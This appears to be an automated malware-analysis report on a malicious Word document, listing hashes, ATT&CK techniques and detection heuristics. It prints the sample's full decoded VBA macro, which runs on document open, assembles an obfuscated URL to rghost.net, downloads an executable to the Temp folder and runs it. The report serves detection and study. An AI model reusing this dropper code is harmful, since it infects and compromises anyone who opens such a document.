Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48f0c4101ef7f9a3…

MALICIOUS

Office (OLE)

117.5 KB Created: 2015-07-23 07:13:00 Authoring application: Microsoft Office Word First seen: 2015-09-23
MD5: 776baca093bcedab288d2d7ffb884040 SHA-1: a1e0287d62d29bd2474e4c10d55cc1f8664f9eea SHA-256: 48f0c4101ef7f9a3907556fde6ec3b7520ca3739c71d61ccdfa483ac8de1f53a
298 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The document contains VBA macros that instruct the user to 'ENABLE CONTENT' to view the document properly, a common social engineering tactic. The macro then uses the URLDownloadToFile API to download a second-stage executable from 'http://rghost.net/download/7Lmch7BH6/4f181a9578d5c400b7edf6ed46e40febcdd79566/purchase%20order' to the user's temporary directory as 'TEST.exe'. Finally, it attempts to execute the downloaded file using the Shell command.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell VLADDNVR, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        VLADDNVR = Environ("Temp") & "\" & "TEST"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1588 bytes
SHA-256: 0ba3bcb611179138270a1251ce838bc6404971503f3ea5f80046e9a92fd57f55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _
    ByVal FCNHGWXN As String, _
    ByVal APLITPIP As Long, ByVal BKFRYHOX As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal XMPODBKP As Long, ByVal DBFNHUNN As String, _
    ByVal FCNHGWXN As String, _
    ByVal APLITPIP As Long, ByVal BKFRYHOX As Long)

#End If


Sub Document_Open()
    ABUNHXJD
End Sub

Sub ABUNHXJD()
    EBGTMDGL = "rghost.net/download/7Lmch7BH6/4f181a9578d5c400b7edf6ed46e40febcdd79566/purchase%20order"
    VLADDNVR = Environ("Temp") & "\" & "TEST"
    
    EBGTMDGL0 = "h"
    EBGTMDGL0 = EBGTMDGL0 + "t"
    EBGTMDGL0 = EBGTMDGL0 + "t"
    EBGTMDGL0 = EBGTMDGL0 + "p"
    EBGTMDGL0 = EBGTMDGL0 + ":"
    EBGTMDGL0 = EBGTMDGL0 + "/"
    EBGTMDGL0 = EBGTMDGL0 + "/"
    EBGTMDGL0 = EBGTMDGL0 + EBGTMDGL
    EBGTMDGL0 = EBGTMDGL0 + "."
    EBGTMDGL0 = EBGTMDGL0 + "e"
    EBGTMDGL0 = EBGTMDGL0 + "x"
    EBGTMDGL0 = EBGTMDGL0 + "e"

    URLDownloadToFileA 0, EBGTMDGL0, _
    VLADDNVR, 0, 0

    If Len(Dir(VLADDNVR)) > 0 Then
        Shell VLADDNVR, vbNormalFocus
    End If

End Sub


Attribute VB_Name = "NewMacros"
Sub order()
'
' order Macro
'
'

End Sub